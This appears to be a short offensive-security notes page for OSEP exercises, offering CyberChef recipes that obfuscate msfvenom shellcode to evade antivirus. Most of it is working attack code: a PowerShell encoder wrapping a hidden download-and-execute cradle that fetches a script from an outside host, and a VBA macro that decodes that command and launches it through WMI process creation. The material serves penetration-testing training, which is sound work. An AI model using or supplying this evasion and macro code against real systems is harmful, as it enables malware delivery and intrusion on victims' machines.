Some handy recipes for OSEP exercises to help generate shellcodes with that are obfuscated to help bypass AV's. Follow the link and copy paste your own msfvenom output in the box and get an encoded/encrypted variant back in the output box. It's that simple! You do have to write the proper decoding/decrypting code though.
cmd: msfvenom -p <payload> -f csharp
cmd: msfvenom -p <payload> -f c
Runner: https://github.com/TheWorkingDeveloper/OSEP-CyberChef-Recipes/blob/main/C-XOR-Runner.c
Encoder example:
$payload = "powershell -exec bypass -nop -w hidden -c iex((new-object system.net.webclient).downloadstring('http://192.168.49.75/6.8.1-v1.ps1'))"
[string]$output = ""
$payload.ToCharArray() | %{
[string]$thischar = [byte][char]$_ + 19
if($thischar.Length -eq 1)
{
$thischar = [string]"00" + $thischar
$output += $thischar
}
elseif($thischar.Length -eq 2)
{
$thischar = [string]"0" + $thischar
$output += $thischar
}
elseif($thischar.Length -eq 3)
{
$output += $thischar
}
}
$output
Example decoder:
Function Pomomon(Boomon)
Pomomon = Chr(Boomon - 19)
End Function
Function Strawberries(Boyyolr)
Strawberries = Left(Boyyolr, 3)
End Function
Function Hhonowno(Oemondcvz)
Hhonowno = Right(Oemondcvz, Len(Oemondcvz) - 3)
End Function
Function Qeerere(Nodfmniw)
Do
Nonropowokwemon = Nonropowokwemon + Pomomon(Strawberries(Nodfmniw))
Nodfmniw = Hhonowno(Nodfmniw)
Loop While Len(Nodfmniw) > 0
Qeerere = Nonropowokwemon
End Function
Function MyMacro()
Dim Nocvbdd As String
Dim Mohzqdd As String
Nocvbdd = "131130138120133134123120127127051064120139120118051117140131116134134051064129130131051064138051123124119119120129051064118051124120139059059129120138064130117125120118135051134140134135120128065129120135065138120117118127124120129135060065119130138129127130116119134135133124129122059058123135135131077066066068076069065068073075065071076065074072066073065075065068064137068065131134068058060060"
Mohzqdd = Qeerere(Nocvbdd)
GetObject(Qeerere("138124129128122128135134077")).Get(Qeerere("106124129070069114099133130118120134134")).Create Mohzqdd, Omfodn, Monono, Nappoor
End Function